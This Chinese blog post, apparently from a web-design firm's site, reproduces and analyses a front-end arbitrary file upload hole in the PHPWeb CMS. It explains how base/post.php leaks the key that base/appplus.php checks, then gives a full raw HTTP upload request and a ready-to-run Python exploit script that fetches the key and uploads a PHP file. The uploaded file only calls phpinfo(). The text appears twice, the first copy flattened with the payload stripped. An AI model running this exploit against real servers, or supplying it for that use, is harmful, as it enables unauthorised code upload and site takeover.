phpweb 前台任意文件上传漏洞复现和分析

首先找到 base/appplus.php 主要代码如下: //密钥校验 $k=md5(strrev($dbUser.$dbPass)); $h=$_SERVER["HTTP_REFERER"]; $t=$_POST["t"]; $m=$_POST["m"]; $act=$_POST["act"]; $path=$_POST["path"]; $md5=md5($k.$t); if($m!=$md5){ echo "ERROR: 安全性校验错误"; exit; } 关键点在于 $k=md5(strrev($dbUser.$dbPass)); 在同级搜索中,发现POST.php 会返回$k=md5(strrev($dbUser.$dbPass)); 那么就是post base/post.php 参数传递一个act 如下: 这里就是返回了 $md5=md5($k.$t); 上面所需要的$k 和$t 那么只要md5 一下就可以得到$md5 如下: 那么数据包如下。发送 POST /base/appplus.php HTTP/1.1 Host: 192.168.1.210 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------191691572411478 Content-Length: 746 Connection: close Cookie: CODEIMG=325eaeac5bef34937cfdc1bd73034d17 Upgrade-Insecure-Requests: 1 -----------------------------191691572411478 Content-Disposition: form-data; name="act" upload -----------------------------191691572411478 Content-Disposition: form-data; name="m" 59f9fae38f9e6ba22c2816e3d17588d4 -----------------------------191691572411478 Content-Disposition: form-data; name="t" 1579254040 -----------------------------191691572411478 Content-Disposition: form-data; name="path" upload -----------------------------191691572411478 Content-Disposition: form-data; name="r_size" 18 -----------------------------191691572411478 Content-Disposition: form-data; name="file"; filename="1111.php" Content-Type: application/octet-stream -----------------------------191691572411478-- 然后感觉这样太麻烦了。就写了一个python # coding: utf-8 # author: print("") import requests import re import os def Md5(strings): import hashlib m = hashlib.md5() m.update(strings.encode('utf-8')) return m.hexdigest() def get_key(uri): try: data=requests.post(url=uri,data={"act":"appcode"},timeout=10).text k=re.findall('k=(.*)&',data)[0] t=re.findall('t=(.*)',data)[0] return {"md5":Md5(k+t),"t":t} except: print('连接服务器失败') def send_shell(): data=open('1.php','w') data.write('') data.close() def upload(): send_shell() get_key22 = get_key(uri) files = {'file':open('1.php','rb')} data={'act':'upload','m':get_key22['md5'],'t':get_key22['t'],"path":'upload','r_size':os.path.getsize('1.php')} try: r = requests.post(url=upload_url, files=files,data=data).text print(r) except: print('连接服务器失败') if __name__ == '__main__': import sys if not sys.argv[1]:exit('例如: python phpweb_rce.py http://127.0.0.1') url=sys.argv[1] uri = url + '/base/post.php'.replace('//', '/') upload_url = url + '/base/appplus.php'.replace('//', '/') upload() 执行的方式 python aaa.py http://192.168.1.210首先找到

base/appplus.php


主要代码如下:

//密钥校验
$k=md5(strrev($dbUser.$dbPass));
$h=$_SERVER["HTTP_REFERER"];
$t=$_POST["t"];
$m=$_POST["m"];
$act=$_POST["act"];
$path=$_POST["path"];

$md5=md5($k.$t);
if($m!=$md5){
 echo "ERROR: 安全性校验错误";
 exit;
}
关键点在于

$k=md5(strrev($dbUser.$dbPass));


 

在同级搜索中,发现POST.php 会返回$k=md5(strrev($dbUser.$dbPass));

那么就是post   base/post.php    参数传递一个act 如下:


这里就是返回了 $md5=md5($k.$t);    上面所需要的$k 和$t

那么只要md5 一下就可以得到$md5

如下:


那么数据包如下。发送


POST /base/appplus.php HTTP/1.1
Host: 192.168.1.210
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------191691572411478
Content-Length: 746
Connection: close
Cookie: CODEIMG=325eaeac5bef34937cfdc1bd73034d17
Upgrade-Insecure-Requests: 1

-----------------------------191691572411478
Content-Disposition: form-data; name="act"

upload
-----------------------------191691572411478
Content-Disposition: form-data; name="m"

59f9fae38f9e6ba22c2816e3d17588d4
-----------------------------191691572411478
Content-Disposition: form-data; name="t"

1579254040
-----------------------------191691572411478
Content-Disposition: form-data; name="path"

upload
-----------------------------191691572411478
Content-Disposition: form-data; name="r_size"

18
-----------------------------191691572411478
Content-Disposition: form-data; name="file"; filename="1111.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
-----------------------------191691572411478--
然后感觉这样太麻烦了。就写了一个python

# coding: utf-8
# author: print("")
import requests
import re
import os


def Md5(strings):
    import hashlib
    m = hashlib.md5()
    m.update(strings.encode('utf-8'))
    return m.hexdigest()

def get_key(uri):
    try:
        data=requests.post(url=uri,data={"act":"appcode"},timeout=10).text
        k=re.findall('k=(.*)&',data)[0]
        t=re.findall('t=(.*)',data)[0]
        return {"md5":Md5(k+t),"t":t}
    except:
        print('连接服务器失败')

def send_shell():
    data=open('1.php','w')
    data.write('<?php phpinfo()?>')
    data.close()

def upload():
    send_shell()
    get_key22 = get_key(uri)
    files = {'file':open('1.php','rb')}
    data={'act':'upload','m':get_key22['md5'],'t':get_key22['t'],"path":'upload','r_size':os.path.getsize('1.php')}
    try:
        r = requests.post(url=upload_url, files=files,data=data).text
        print(r)
    except:
        print('连接服务器失败')

if __name__ == '__main__':
    import sys
    if not sys.argv[1]:exit('例如: python phpweb_rce.py http://127.0.0.1')
    url=sys.argv[1]
    uri = url + '/base/post.php'.replace('//', '/')
    upload_url = url + '/base/appplus.php'.replace('//', '/')
    upload()



执行的方式

python    aaa.py http://192.168.1.210


上一篇: 最新PHPWEB升级包自动升级补丁,一键升级到最新版 ,防护加固+漏洞补        下一篇: 网站首次备案流程

标签:  嘉兴网站建设 嘉兴企业建站 嘉兴网站优化